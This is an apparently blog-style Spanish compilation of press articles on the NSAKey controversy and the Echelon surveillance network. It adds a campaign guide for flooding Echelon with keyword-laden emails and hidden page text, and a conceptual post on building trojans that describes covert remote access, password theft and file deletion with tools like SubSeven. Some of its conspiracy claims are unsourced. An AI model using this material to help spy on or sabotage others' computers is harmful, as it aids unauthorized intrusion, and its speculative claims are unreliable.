Nada más conocerse la noticia, los nervios o , como describía Wired, "Karakatoa de sentimiento anti-Microsoft", inundaban el pasado viernes los foros electrónicos de Internet.

Tuvo que ser necesaria la intervención de pesos pesados como el divulgador criptológico Bruce Schneider para recordar que, aunque la clave se llame NSAKey, no significa que sea una puerta de la agencia de espionaje National Security Agency (NSA) abierta en todos los ordenadores del mundo que utilizan Windows.

La historia de la NSAKey se remonta a dos años atrás, cuando algunos investigadores descubrieron que el sistema Cripto API (Aplication Progammer's Interface) de Windows venía con dos claves criptográficas en vez de una. La función de esta clave es validar, en nombre de Microsoft, las firmas digitales de los nuevos programas que se quieran instalar en Cripto API. Pero, ¿y la otra clave? Nadie conocía su función hasta que Andrew Fernandes, investigador jefe de la empresa canadiense Cryptonym, anunció haber descubierto, en un fragmento de código de Windows NT4, el nombre de la clave, que supuestamente alguien había olvidado borrar: NSAkey.


La noticia saltaba el pasado viernes, con la publicación de una nota en la web de Cryptonym donde se asegura que "la segunda clave es una puerta trasera que pertenece a la NSA. Lo que significa que la NSA puede cargar programas, en tu máquina, sin autorización".

Los precedentes de la red de espionaje Echelon o los informes de programas en los que la NSA tiene puertas traseras, junto a los sonados fallos de seguridad de Microsoft - esta misma semana el servicio de correo Hotmail mostró su vulnerabilidad al permitir sin problemas el acceso a cuentas ajenas de los internautas -, y la futura Cyberspace Electronic Sercurity Act, que ahora se discute en Estados Unidos y que defiende que el gobierno pueda instalar elementos en los ordenadores sin el conocimiento de los usuarios, eran ya suficiente caldo de cultivo en el que la NSAKey cayó como una bomba.

Microsoft desmentía rápidamente la información, afirmando que la segunda clave no es más que una copia de seguridad de la primera: "La llamamos NSA key (clave NSA) porque la NSA es la autoridad técnica de regulación de los controles de exportación de los Estados Unidos, y la clave asegura que el programa certificado está de acuerdo con las leyes norteamericanas". Incluso la NSA rompió su silencio habitual para asegurar, en una nota a la prensa: "Las leyes de exportación de Estados Unidos requieren que las aplicaciones criptográficas vayan firmadas. La implementación de este requerimiento se de a las empresas".

Sola ante el peligro, Microsoft conseguía inusitados compañeros de batalla: Bruce Schneider, editor de CrypoGram, y Russ Cooper, moderador de NTBugta.

"Que haya dos claves es estúpido, pero es el tipo de cosas que ya esperamos de Microsoft", ironizaba Schneider en un mensaje a sci.crypt. "Si la NSA quisiera meterse en Crypto API, le sería más fácil pedir a Microsoft que le diera su clave. Y, ¿por qué razón alguien llamaría NSAkey a una clave secreta de la NSA?"

También Russ Cooper quitó hierro al asunto, aunque no desmintió totalmente las hipótesis conspiratorias, materializadas en opiniones como la del cofundador de la Electronic Frontier Foundation, John Gilmore: "Esta clave no es más que una parte del trato de Microsoft con la NSA para poder poner criptografía fuerte en programas que vende por todo el mundo".

Luky Green, posteador de la lista cypherpunks, aseguraba: "Una cosa que he aprendido de mi trabajo en cifrado GSM es que las agencias de inteligencia quieren meterse en todos los pasos: tamaño de la clave, generación de claves, algoritmos criptográficos.".

El peligro, según Cooper, "podría ser cierto. La NSA podría implantar un troyano que reemplazase el módulo que cifra la información que no la cifrase y así poder espiar todo el tráfico, pero el editor de NTBugtraq prefiere dar más importancia al segundo descubrimiento de Fernandes, el auténtico fallo: la NSAkey es débil, se puede reemplazar por otra y añadir nuevos proveedores criptográficos al sistema, sobrepasando el control de Microsoft.

Junto a la nota donde explica sus teorías sobre la NSAKey, Fernandes distribuye un programa libre que permite deshabilitar la clave y cambiarla por otra. "Esta es la parte realmente divertida: que la demanda de la NSA de que hubiese una segunda clave, al final habrá contribuido a una más fácil disponibilidad internacional del cifrado fuerte", escribía el investigador inglés Markus Kuhn, en una de las discusiones que el tema ha generado.

Alguien, desde el anonimato, le respondía: "La única novedad es que la clave se llama NSAkey. Que sea o no de la NSA y el hecho que se pueda utilizar para cargar módulos criptográficos no Microsoft son ya viejas noticias".

COMO PERTURBAR A ECHELON

Para ser eficaz, conviene que conozco un poco a Echelon. La estructura de Echelon es bastante más impresionante de lo que imaginaría un ciudadano "de a pie", diría en realidad que le parecería de ciencia ficción, pero tiene menos envergadura que la que podría presuponer una persona afín con estos temas que no tuviera detalles de la misma.

La razón es que Echelon cuenta con una estructura muy bien organizada y en la que se podría decir que existe un principo de "optimización" de la gestión. Este principio de optimización es la clave para que sea operativo pero, al mismo tiempo, es su punto débil.

Si quiere ser eficaz en sus acciones para pertubar Echelon, deberá respetar una serie de principios. A continuación se los detallamos de forma que los pueda seguir.

1º. El sistema es capaz de discriminar el "spam" o repeticiones simples. También es posible que pueda ignorarlos en emisiones sucesivas. Por consiguiente, recomendamos no repetir textos. Procure que sean originales generando variantes, aunque sea sobre un mismo tema..

2º. Es también probable que elimine términos incoherentes, salvo que los sistemas de detección de cifrado los pudiera considerar de ese modo, pero, en ese caso, no creemos que las palabras clave fueran identificadas abiertamente. Redacte pues textos con sentido.

3º. Un sólo día de emisión puede que resulte fácilmente salvable por la Organización. Lo que realmente crearía problemas es que todos incluyéramos en nuestros envíos diarios algún texto con palabras clave.

4º. La difusión del artículo de Ciberp@is es un excelente material. Sombrée y copie el texto "a pelo" sobre el Boc de Notas y luego adjúntelo en su correo a las personas conocidas.

Lista de palabras clave

Si quiere darle un buen "mosqueo" al Sistema, incluya nombres de políticos de USA, de directores de sus servicios de seguridad, de políticos estranjeros "problemáticos" y de terroristas, de equipos técnicos sofisticados, (informáticos de alto nivel), de productos altamente tóxicos, denominaciones de su armamento más moderno, lugares geográficos "calientes", instalciones militares o bases y similares. No debe olvidarse que la combinación de las palabras, su reunión en un mismo texto, puede aumentar el efecto.

Algunas palabras interesantes ( esta lista agregala a cada e mail que mande y digale a sus amigos que hagan lo mismo, o sino en los fondos de las paginas web personales del mismo color de letra que el fondo etc. )

Armar Metatags con las palabras, desta forma , se desvirtuian los procesos y se satura la maquina en su diccionario, llevandolo a ninguna parte.- Haciendoles perder Horas máquina y Horas Hombre .-

Enfopol, Gadafi, V.O.A., uranio, plutonio, RAN, Torrejón, Kennedy, NATO, ETA, F80, submarino, Antártida, megatones, subversivo, Serra, Dzokhar Dudayev, unabomber, UKUSA, NSA, FBI, CIA, NASA, hacker, Pekin, Mao, heroina, Bill Gates, DEA, Ginebra, Chechenia, Ami Ayalom, Bruselas, Yelsin, mafia, Jeff O'Connor, M.A.F.I.A.,HB, Pervez Musharraf, talibán, Romano Prodi, afgano, Barry McCaffrey, Nawaz Sharif, Atal Behari Vajpayee, Jaswant Singh, Ved Prakash Malik, Wiranto, Yusuf Habibie, General, portaviones, Hamás, Shin Beth, OLP, antiaerea, Bill Clinton, TPCPN, Jesse Helms, Trent Lott, Abu Jamal, AFL-CIO, Ernesto Zedillo, cartel, PRI, Pinochet, Rosso José Serrano, Vaticano, Helmer Villafanía, Janet Reno, Bruselas,Yihad Islámica, Comisión Europea, Ehud Bark, Oscar SS-N-27, Tampere, UE, euro, Yasir Arafat, Yuri Scurátov, Microsoft, General Videla, Fidel Castro, cañón magnético,Bush,Yabrán,DEA,ENL,FARCS,nazi,judio,CONDOR, CondorI, CondorII, ALACRAN,STOA,Comunista,izquierda,Perón, EVA, Evita,Galtieri,Malvinas,Falkland,Pucará,secret,war,Yugoslavia,Contras,Ormart,clarín,la nación,SIDE, CESID,MOSSAD,MI5,MI6,echelon,Carnívoro,seprin,Menem,Al Kssar,IRA,Gladio,Gladietor,kgb,Rusia,Tripóli,saddam,housein,AMIA, nsakey,white house,gov,FA117,Phanton F15,De la RUA, Santibañés,Santibanez,Loperfido/a,George W. Bush, Choripan,armas,army,US AIR FORCE, US Navy, US, Hezbola, peronismo,radiocalismo,zurdo, Kkk , etc etc ( la lista completan entre todos lo que manda un email ...)

NOTA: Son interesantes las traducciones al inglés de algunos términos. Si tienen paciencia y se hacen con algunos nombres de armas "de preocupar" tendrán un éxito seguro.

Insistimos en la necesidad de que los envíos deben ser constantes. No es tanto trabajo adjuntar cada día a nuestro correo unas líneas acompañadas de términos bien seleccionados. El esfuerzo es mínimo y no queda mucho tiempo para enderezar este entuerto.



NOTA 2

Palabras clave


MERCE MOLIST
"Cada vez que envías una carta electrónica que contiene palabras clave, como revolución, los ordenadores de Echelon lo registran. Si lo haces regularmente, se te señalará para un seguimiento humano". Así describe un prominente grupo de hacktivistas la función básica de Echelon y también su punto débil, que han decidido explotar.

Para ello, están haciendo una llamada planetaria a "provocar un enorme sobreesfuerzo a Echelon", en una especie de mailbombing (envío masivo de correos) realmente original: piden que el próximo 21 de octubre, como protesta contra el espionaje, todo el mundo escriba y envíe al menos una carta electrónica en la que aparezca alguna de las palabras de la lista secreta de Echelon. "No importa si el texto es coherente o no, sólo debe haber palabras que suenen lo más subversivas posible",. Este tipo de sabotaje se practicaba ya desde que se conoció Echelon, pero sólo entre los más concienciados.



¿MICROSOFT COLABORARIA CON EL ESPIONAJE DE LA RED ECHELON?

(Cuidado su windows lo espía)



DE LA REVISTA Tiempo

LA RED ECHELON TAMBIEN USARIA LA MAYORIA LOS PROGRAMAS QUE SE PRODUCEN EN ESTADOS UNIDOS .

Las Sospechas se confirmarían, Tanto los navegadores, Programas como Windows, Lotus , etc. Tendrian entradas o facilitarian loa accesos a sistemas y computadoras personales.

Hace tiempo se sabia que podria pasar, y eventualmetne hasta el windows NT y el Windows normal tendrian puestas traseras. Y no solo eso, lo suarian para espiar, sino, para usarlo en una versión Inferior , para determinar con spiders con la claves de acceso, las pueratas traceras.

Tambien , algunos procesadores como elñ PentiumIII, despues desmentida, en el cual daba acceso mediate una subrutina al codigo interno unico del procesador, de esta forma, se podria saber , de quien es la maquina, y tal vez que retransmita los accesos y eventualmente de las notas de los discos Rígidos .-

Aquí las Notas :

Programas con trampa

Los sistemas de codificación de los programas de Microsoft, Netscape y Lotus exportados fuera de EEUU están especialmente adaptados para facilitar la descodificación por parte de la NSA norteamericana, detalla el informe. El Gobierno sueco sufrió en 1997 la desagradable experiencia de comprobar que la NSA norteamericana disponía de una parte de la clave de codificación del programa de comunicación utilizado por su Administración y que había sido suministrado por Lotus. El programa era utilizado para las comunicaciones electrónicas confidenciales de los ministros, los altos cargos gubernamentales, la agencia tributaria y la cúpula de la administración sueca. La compañía informática explicó que la legislación norteamericana obligaba a depositar en la NSA una parte de la clave de codificación (24 de los 64 bits) que se utilizará al criptografiar cada mensaje en todos los programas que se exportan fuera de EEUU.
El informe de Campbell asegura que la NSA norteamericana ha llegado a un acuerdo con la firma suiza Crypto AG, una de las empresas líderes mundiales en programas criptográficos, para facilitar la lectura de los mensajes codificados por parte de la red anglonorteamericana. El programa de Crypto envía junto al mensaje codificado una clave especial, que sólo conoce la NSA, que le permite poder descodificar la clave que haya introducido el usuario. Campbell afirmó que ese acuerdo permite a la red anglonorteamericana poder descodificar los mensajes diplomáticos y militares de más de 130 países.

Hace tan sólo unos meses, también se filtraron varios documentos de las negociaciones entre la Administración Clinton y el Gobierno británico con el objeto de monopolizar todos los sistemas criptográficos. En realidad, Estados Unidos pretende prohibir lo que se conoce como programas criptográficos duros y legalizar los blandos (que pueden ser descodificados por un equipo informático mediano en un breve plazo de tiempo).


El gran problema

De todos modos, el descubrimiento de los manejos de Echelon ha puesto sobre el tapete un problema fundamental: el espionaje comercial. La red sajona (denominada también Ukusa debido a que éstas son las siglas, en inglés, de Estados Unidos y del Reino Unido) utiliza 120 satélites para interceptar las comunicaciones. La información suceptible de tener relevancia económica o comercial es transmitida por la NSA a las compañías norteamericanas para ayudarlas en sus operaciones y contratos internacionales. La NSA, la Agencia Central de Inteligencia (CIA) y el Departamento de Comercio firmaron el 5 de mayo de 1977 un acuerdo para crear una oficina de enlace secreta que canalizara toda esa información, denominada Oficina de Apoyo Ejecutivo.
Próximamente, el Parlamento Europeo pedirá la comparecencia de la Comisión Europea y del Consejo de Ministros en el hemiciclo para que expliquen cómo piensan proteger las comunicaciones y los intereses económicos europeos de la red Echelon. La Eurocámara ha instado a las empresas europeas que se consideren víctimas de este espionaje industrial que aporten la documentación de que dispongan. El grupo parlamentario verde, además, ha comenzado a recoger firmas para que se constituya una comisión de investigación.

Pero lo más grave es la deslealtad de Gran Bretaña. «Hay una traición de un miembro al espíritu de colaboración europeo -señala Sánchez Almeida- que tendría que llevarnos a denunciar tratados internacionales, como la OTAN y el propio Tratado de Roma, porque si el espionaje se utiliza contra los socios puede llevar, a la larga, a la destrucción económica europea».

En círculos europeístas, la pregunta más repetida la pasada semana era «¿Qué harán ahora los ingleses?». El primer ministro británico, Tony Blair, intentó defenderse asegurando en Bruselas que «Gran Bretaña no ha traicionado a sus socios europeos al colaborar con Estados Unidos». Blair niega que participe en operaciones de espionaje industrial, pero admite que la legislación que ampara esas operaciones incluye entre sus objetivos «asegurar el bienestar económico de Gran Bretaña», una fórmula que admite amplias interpretaciones.

Los Gobiernos europeos, de momento, no han tomado ninguna decisión, pero el Gobierno francés está pensando en demandar judicialmente a Estados Unidos y al Reino Unido por espiar las comunicaciones de empresas galas. El propio rotativo The Times se hizo eco de esta intención, que estaría basada en los contratos perdidos por Airbus y Thomson (ver recuadro). Asimismo, un abogado parisino ha sondeado a varias ONG’s con el fin de obtener apoyos para poder presentar una demanda judicial. «De todos modos, esto no irá mucho más allá, porque incluso Francia tiene cosas que ocultar, como su propia red, conocida como «Frenchelon» y que espía también telecomunicaciones», señala David Casacuberta. Alguna de las informaciones conseguidas por los servicios franceses - y realizadas desde estaciones ubicadas en la Dordoña, Nueva Caledonia, Guyana y Emiratos Arabes Unidos- fueron compartidas con los servicios alemanes, italianos y españoles, según conclusiones a las que llegó el investigador Kenneth Neil Cukier.


Víctimas, víctimas

La interceptación de las comunicaciones entre Thomson-CSF y el Gobierno brasileño en 1994 en la negociación del contrato de 220.000 millones de pesetas para un sistema de supervisión por satélite de la selva amazónica permitió la concesión del proyecto a la firma norteamericana Raytheon, vinculada a la red Echelon. En 1995, la interceptación de los fax y las llamadas telefónicas mantenidas entre Airbus y el Gobierno de Arabia Saudí con los detalles de las comisiones ofrecidas a los funcionarios permitió a la Administración de EEUU presionar para que el contrato de un billón de pesetas fuera concedido a Boeing-McDonnell Douglas. Otros casos concretos de espionaje de las comunicaciones mencionados por el informe son: la industria automovilística japonesa, la delegación francesa durante las negociaciones de liberalización comercial de la Ronda Uruguay, las negociaciones del consorcio europeo Panavia para vender el avión de combate Tornado a los países de Oriente Medio y la Conferencia Económica Asia-Pacífico de 1997.
Algunos rumores señalan que Echelon tuvo también mucho que ver en la guerra entre General Motors y Volkswagen a causa del fichaje de López de Arriortúa por la firma europea. Pero la red de espionaje sirivó también para matar con un misil a Dzokhan Dudayev, terrorista checheno asesinado mientras hablaba con su móvil. O para desacreditar a un congresista norteamericano ante la opinión pública.

"Hay gente inocente que termina en la red Echelon"
Lo dijo el espía canadiense Mike Frost. Relató a la CBS el caso de una mujer marcada como posible terrorista por un comentario inocente que hizo sobre su hijo.

Washington. ANSA

El escándalo de la red espía Echelon, liderada por la inteligencia de EE.UU., Canadá, Gran Bretaña, Australia y Nueva Zelanda para "pinchar" millones de e-mails, llamados telefónicos y faxes en todo el mundo, sigue dando que hablar. Mike Frost, espía canadiense entrenado para trabajar con "la gran oreja", asegura que "hay gente inocente que cae en las grietas de la red", que poco tiene que ver con "los chicos malos" que la telaraña supersecreta pretende detectar.

En una entrevista televisada que saldrá al aire hoy en el programa de la CBS "60 Minutos", partes de la cual Clarín ya publicó en su edición de ayer, Frost se inquieta al indicar: "Lo que me perturba es que no se puede adosar responsabilidad y no hay garantías para los inocentes que finalizan en la red".

Frost relata el caso de una mujer cuyo nombre y número de teléfono terminaron en la base de datos de Echelon como una posible terrorista después de que mantuvo una conversación con una amiga a la que le contó que su hijo hizo un papelón durante una obra de teatro en el colegio, usando la expresión en inglés "he bombed" (puso una bomba).

"La computadora -dice Frost- detectó la conversación. El analista no estaba muy seguro de qué estaban hablando, entonces, inclinándose por el lado de la precaución, enlistó a la mujer".

Como adelantó Clarín ayer, Frost aseguró que la ex premier británica Margaret Tatcher también requirió los servicios de Echelon para espiar a dos de sus ministros de los cuales desconfiaba.

Margaret Newsham, otra espía que trabajó en el proyecto Echelon, en la base de recepción de Menwith Hill, Gran Bretaña, le dijo a la CBS que ni siquiera los políticos norteamericanos están al reparo de la red. Unos 20 años atrás, Newsham quedó desconcertada al escuchar la voz del senador republicano Strom Thurmond en sus auriculares. "Hasta donde yo sabía, las voces interceptadas tenían que ser en ruso, chino, extranjeras", dijo.

El Parlamento Europeo denunció el miércoles que la red se usa para robar secretos comerciales a las empresas europeas. Ayer, el canciller de Chipre, Yiannakis Cassulides, aseguró que Gran Bretaña podría estar utilizando las bases militares que tiene en la isla para espiar a Europa.

Domingo 27 de febrero de 2000
Versión sobre espionaje en Buenos Aires



La red de escucha electrónica Echelon, liderada por EE.UU. y que, según una denuncia europea, sería usada para espionaje industrial, también habría espiado a organismos oficiales argentinos. De acuerdo con informes que circularon ayer en Buenos Aires, un blanco habría sido el Ministerio de Economía.

El ingeniero Ariel Garbarz, consultor especializado en protección de líneas telefónicas, quien dijo tener contratos con esa cartera y la de Salud, señaló a Clarín que en enero comprobó que 21 líneas de Economía estaban intervenidas, vía satélite desde el exterior, con la misma tecnología que utiliza Echelon y que así lo informó al ministerio.

Altas fuentes de esa cartera, consultadas por Clarín, reconocieron la existencia de un informe, pero lo relativizaron y negaron la relación contractual con Garbarz. En la SIDE fueron más terminantes. Las fuentes dijeron que no tienen ningún conocimiento de las supuestas pincha duras.

El ingeniero aseguró que realizó un chequeo de las líneas del ministro José Luis Machinea, de sus secretarios y subsecretarios. En ese procedimiento, dijo, se comprobó que la computadora interceptora es de la firma AST, uno de los dos proveedores de la ultrasecreta National Security Agency, la agencia estadounidense que controla el Echelon.

Esa terminal, de la que también obtuvieron el número de serie, trabaja con el software STG, que permite intervenir comunicaciones telefónicas, e-mail y de fax, a través de fibra óptica, de cable y de satélite.arbarz aclaró que este sistema sólo pueden comprarlos agencias de espionaje autorizadas por el Departamento de Estado norteamericano. En la Argentina, la Secretaría de Inteligencia del Estado (SIDE) es el único organismo autorizado legalmente a contar con ese software.

"Todos los datos desde lo tecnológico están indicando que el espionaje se está haciendo desde el exterior y vía satélite" a través de ese software, opinó Garbarz.

El STG incluye un dispositivo de seguridad que es actualizado cada 24 horas por el Departamento de Estado de EE.UU., lo que hace prácticamente imposible que sea violado. Para mantener activo el programa, es necesario estar conectado con el Pentágono cada 24 horas.

El ingeniero aseguró que esas conclusiones están en el informe que elevó al Ministerio y que firmó junto con ingenieros de la Universidad Tecnológica Nacional, de la UBA, de la propia cartera y refrendado por el escribano adjunto del Gobierno nacional.

"Machinea está al tanto de la situación", insistió el ingeniero. agregó que el ministro también tenía las líneas intervenidas en la Fundación para el Desarrollo, en la que trabajaba Machinea antes de hacerse cargo de Economía, con tecnología que utiliza el sistema Echelon.



Viernes 25 de febrero de 2000
ESCANDALO INTERNACIONAL: TECNOLOGIA DE GUERRA PARA ESPIONAJE INDUSTRIAL
EE.UU. espía con satélites a empresas de Europa
Lo denunció el Parlamento Europeo. Es la red Echelon. EE.UU. la usa para interceptar llamadas y correo electrónico de firmas europeas y pasar los datos a sus competidoras estadounidenses
París. The New York Times. Especial para Clarín.


El temor de que los Estados Unidos, Gran Bretaña y otros países de habla inglesa estén usando una enorme red de espionaje, satélites y computadoras incluidos, para interceptar miles de millones de comunicaciones telefónicas, e-mails y faxes por hora en Europa, despertó ayer airadas reacciones a lo largo de todo el Viejo Continente, aun después de que Wahington y Londres negarán todo el asunto.

Lo cierto es que la red existe. Se llama Echelon. Es una telaraña de estaciones de vigilancia e interceptación plantada a lo largo del planeta, de la cual participan EE.UU., Gran Bretaña, Canadá, Australia y Nueva Zelanda.

Diseñada durante la Guerra Fría por la Agencia de Seguridad Nacional de EE.UU., la red puede filtrarse en millones de comunicaciones en busca de palabras como "bomba" o "terrorismo".

Pero eso no es lo que Europa está denunciando sino más bien que la Comunidad Económica Europea es vigilada por ese mecanismo en un espionaje industrial que ya habría cobrado réditos.

La acusación la lanzó el Parlamento Europeo, que ayer difundió un revelador informe periodístico que entre otras cosas denuncia que las comunicaciones interceptadas por la red Echelon ayudó en dos ocasiones a compañías estadounidenses a ganar ventaja sobre las europeas.

El informe asegura que Echelon puede "pinchar" fácilmente "miles de millones de mensajes por hora", incluidas llamadas telefónicas, faxes y e-mails privados.

A pesar del rechazo de los países involucrados, los parlamentarios europeos llamaron a tomar acciones drásticas.

"Tenemos todas las razones para estar shoqueados por el hecho de que esta forma de espionaje, que viene funcionando desde hace años, no ha impulsado ninguna protesta oficial", se quejó Nicole Fonatine, el actual presidente del Parlamento Europeo.

Washington y Londres tuvieron que salir ayer a desmentir la idea de que sus países están usando información secreta para impulsar sus propias economías.

"No es la respuesta más corta", sentenció en Londres, el mismo primer ministro británico, Tony Blair. "Estas cosas son manejadas con reglas extremadamente estrictas y esas reglas siempre se van a usar".

En Washington, el vocero del Departamento de Estado, James Rubin, aseguró que "las agencias de inteligencia estadounidenses no tienen por misión involucrarse en espionaje industrial o en obtener secretos comerciales para beneficiar a una o mucha compañías norteamericanas. Si bien no podemos hacer comentarios sobre el contenido del informe, podemos decir que la NSA no está autorizada para proveer información de inteligencia a empresas privadas".

Pero las explicaciones hicieron poco y nada para enfriar la furia europea, especialmente la de Francia, donde la ministra de Justicia, Elisabeth Guigou, dijo que las compañías francesas tienen que encriptar la información sensible para evitar la detección del espionaje de EE.UU.

"Tenemos que ser lo más prudentes posible en la transmisión de datos. Esos datos nunca pueden contener información vital, especialmente cuando depende de la retrasmisión satelital con conexiones internacionales", dijo Guigou a la Asamblea Nacional (Parlamento), en París.

Un abogado parisiense ya inició una demanda contra Gran Bretaña y EE.UU., denunciando que Echelon robó a las industrias europeas algunos de sus más valiosos secretos comerciales.

Legisladores de Italia, Alemania y Dinamarca están demandando una investigación pública sobre la red espía. Y en EE.UU., sectores privados ya lanzaron una demanda para que se entreguen los documentos oficiales sobre Echelon.

El escándalo estalló con la decisión del Parlamento Europeo de difundir el informe sobre Echelon que había sido elaborado hace 18 meses por el periodista Duncan Campbell.

"Acá no estamos hablando de algo trivial... no podemos detenerlos, van a seguir", aseguró Campbell, quien afirmó que Echelon monitorea e intercepta comunicaciones comerciales sensibles europeas. "Su nivel de uso está saliendo de control. La capacidad de filtrarse en sistemas es enorme", advirtió el periodista, para agregar que la mayoría de las comunicaciones de Internet pasa a través de los Estados Unidos y por al menos nueve puntos de intercepción de la NSA.

"Echelon es una caja negra, y realmente no sabemos qué hay adentro. No sabemos a quién apunta, por qué y para qué, ni qué sé está haciendo con esa información", dijo Barry Steinhardt, de la American Civil Liberties Union.

El velo de misterio en torno Echelon desvela a los mismos parlamentarios de Estados Unidos como Bob Barr, representante republicano y ex miembro de la CIA: "Las acusaciones de que el gobierno intercepta sin discriminación alguna millones de conversaciones cotidianas por Internet o por teléfóno son serias. La primera pregunta es qué es lo que Echelon está juntando, qué hace con eso", dijo Barr.


Viernes 25 de febrero de 2000
ESCANDALO INTERNACIONAL: LA RED ECHELON, UN ENORME SISTEMA SATELITAL
Una "gran oreja"


El sistema Echelon, o la "Gran Oreja", fue desarrollado en la década de 1970 y es operado a escala mundial por los Estados Unidos, Gran Bretaña, Canadá, Australia y Nueva Zelanda. Es un sofisticado y potente programa que permite interceptar en todo el planeta comunicaciones transmitidas vía satélite.

Funciona con una amplia red de computadoras conectadas con siete estaciones alrededor del mundo que reciben, analizan y ordenan la información capturada por los satélites de comunicaciones.

Las computadoras de este programa permiten reconocer palabras, teclas, números y hasta timbres de voz, de comunicaciones telefónicas, de fax o de correo electrónico a través de Internet Echelon fue desarrollado en el marco de un acuerdo de espionaje entre Estados Unidos y Gran Bretaña en 1948, al que más tarde se unieron Australia, Nueva Zelanda y Canadá. La existencia de este acuerdo, bautizado UKUSA, fue reconocida en marzo de 1999 por el gobierno de Australia.

También Francia y Alemania, pero en menor medida, tuvieron participación en el programa espía.

La "Gran Oreja" fue programada para alertar cuando en una comunicación se detectan palabras "peligrosas" para la seguridad nacional de los Estados Unidos o de los otros países participantes en el proyecto.

Las grandes cantidades de datos recogidos por el sistema son luego filtradas por potentes computadoras.

El programa permite interceptar en sólo media hora hasta cerca de mil millones de mensajes, que luego son filtrados para extraer los datos de interés para cada país. Así, la aparición de palabras como "terrorismo", "bombas" o "ántrax" es motivo de alarma.

Según la prensa estadounidense y francesa, el programa tiene su base en una gran estación ubicada en Menwith Hill, Gran Bretaña, que, a su vez, está conectada a una extensa red satelital. La base, que está camuflada en una zona rural, funciona desde 1966 y allí trabajan alrededor de 1.400 personas.

En un principio estaba dedicada a interceptar la información de los países del Pacto de Varsovia, pero a diez años del fin de la Guerra Fría sus actividades de espionaje se expandieron hacia otras áreas, como el espionaje industrial y de empresas.

En Internet, Echelon está catalogado como el arma de espía del gobierno estadounidense y por ello fue objeto de "represalias" por cientos de usuarios. En octubre se estableció un "Día de obstrucción de Echelon". Diversos grupos internacionales para la defensa de los derechos civiles y personas de todo el mundo comenzaron a bombardear el sistema a través de la Red y de las líneas telefónicas con palabras como "terrorismo" con la esperanza de que el sistema entrará en crisis, pero sin lograr hasta ahora su objetivo.

Bueno esto es todo a grosomodo

Fascinate no

viernes, 30 de abril de 2010

Como crear un troyano


Bueno esta es una explicación muy básica de como crear un troyano Espero que os sea útil pero de todas formas ya os daré una mejor

PROGRAMADO EN VISUAL BASIC 6.0
El Control Winsock.- El Winsock Control como opción predeterminada no se encuentra disponible en la barra de controles estándar de Visual Basic, para acceder a él debemos agregarlo manualmente mediante Proyecto> Componentes> y luego seleccionar WinSock Control y Aceptar. No es visible en tiempo de ejecución, lo que significa que solo nosotros sabemos que el control se encuentra en nuestra aplicación y cuáles son sus propiedades, aunque también se pueden definir en tiempo de ejecución.

Este tipo de aplicaciones Cliente/Servidor permiten comunicar programas entre sí, en consecuencia también permiten comunicar varias computadoras, porque habiendo un programa en la computadora llama "DAVID1" y otro en la computadora llama "DAVID2" ambos programas se pueden comunicar a través de Internet y compartir información, o adquirir información sin saber que el dueño de la computadora lo autoriza. Esto frecuentemente trae problemas al querer distinguir si un programa esta autorizado por el dueño o el encargado (administrador) para acceder al sistema. Varios administradores permiten el acceso, pero a la misma vez restringen las carpetas importantes de sus computadoras para no correr el riesgo de perder información vital. Si el programa que se usa para acceder a otra computadora esta autorizado por el encargado de la PC se puede denominar "Herramienta de administración remota", en cambio si el acceso no es permitido o no se avisa que se quiere entrar y se hace a la fuerza el programa recibe el nombre de "Troyano".
Un troyano es un aplicación "disfrazada" de un programa útil, consta de dos programas, el Servidor y el Cliente
El "Servidor" es el que se encarga de abrir un puerto en la PC a la que se quiere tener acceso y deja el puerto a la escucha, es decir esperar a que se realice una conexión al puerto para dar el acceso a la máquina.
Por su parte, el "Cliente", es el programa que se conecta al puerto que el Servidor dejó abierto, solicita que se realice la conexión y después comienza a transmitir información, pidiendo datos de la PC remota, tales como Información del sistema, contraseñas, archivos importantes, etc.

¿Cómo se utilizan?.- Se pueden utilizar de dos formas completamente distintas:
Como herramienta de administración remota: que permite manipular el sistema a distancia, ideal para personas que necesitan urgente un archivo de la PC de su oficina y se encuentran en su casa. Se puede considerar como tal solo cuando el usuario tenga el acceso permitido a esa PC.
Como herramienta para hachear esta es la forma de utilización que prefiere cualquier persona con una conexión a Internet y ganas de espiar lo que hace otra persona conectada a Internet o a su Red privada, también llamada LAN . Pudiendo acceder a sus archivos confidenciales, contraseñas, recursos compartidos, conversaciones que toman lugar en tiempo real, o borrar archivos fundamentales tales como por ejemplo: COMMAND.COM (dejando a la PC "víctima" sin poder arrancar, a menos que el usuario "atacado" sepa iniciar desde un disco de rescate o de inicio.

Los puertos que se dejan a la escucha generalmente son altos, es decir puertos que pasan del número 500 o el 1000, para garantizar que ningún otro programa pueda estar usándolos y cancelar la conexión del troyano.

Ejemplos de troyanos.- A continuación se enumeran una lista de los troyanos más conocidos del Underground, es decir de la sociedad hacker, o más bien todo aquello que sea difícil de encontrar para el usuario común. La palabra UnderGround significa debajo de la tierra, lo que para la mayoría significa algo oculto y qué otro ejemplo más conciso que los programas que usa un hacker. Cabe aclarar que el uso de estos programas comunmente denominados "para hackers" no convierte a nadie pero absolutamente nadie en "hacker". El hacker no se hace de la noche a la mañana, es más, el hacker no se hace, nace...

NetBus: este "troyano" o "herramienta de administración remota" fue uno de los más difundidos en Internet, ganó un gran número de usuarios adictos al programa por su sencillez de uso y la rapidez del mismo. El tamaño del servidor (el encargado de permitir el acceso a la máquina con o sin autorización) ahora parece grande en comparación con los troyanos nuevos. Tamaño del servidor: 495 KB aproximadamente.

Back Oriffice 2000: sin lugar a duda el troyano que más pánico causó en los últimos tiempos. Fue el preferido de todos por ser el primero que salió en Internet con una facilidad de uso impresionante y características que otros troyanos aun no imaginaban, como la renovada parte gráfica. En la última versión del programa se puede notar que fue programado para funciones de administración remota, ya que se nota la programación estructurada y concisa, sin botones de más, ni funciones innecesarias para el usuario final, la mejor versión hasta el momento.

SubSeven: otro troyano que causó un gran impacto, probablemente el más usado en la actualidad, ya que el programa servidor ocupa menos aun que el servidor del NetBus o el Back Oriffice. La parte gráfica es distinta a las demás, la complementan un gran juego de "skins" (texturas, colores, etc.) y mejor facilidad de uso, además incluye nuevas funciones como la desconexión de Internet del equipo remoto, el cuelgue del modem, el cambio de resolución de la pantalla, lista de los passwords que se encuentran en el cache (las contraseñas que el usuario escribió recientemente), y los passwords de la conexión telefónica a redes, es decir la contraseña de internet. Tamaño del servidor: 327 KB

PROTOCOLOS

Protocolos TCP/IP y UDP: como anteriormente quedó aclarado dos programas se pueden conectar entre sí a través de internet o de una LAN.
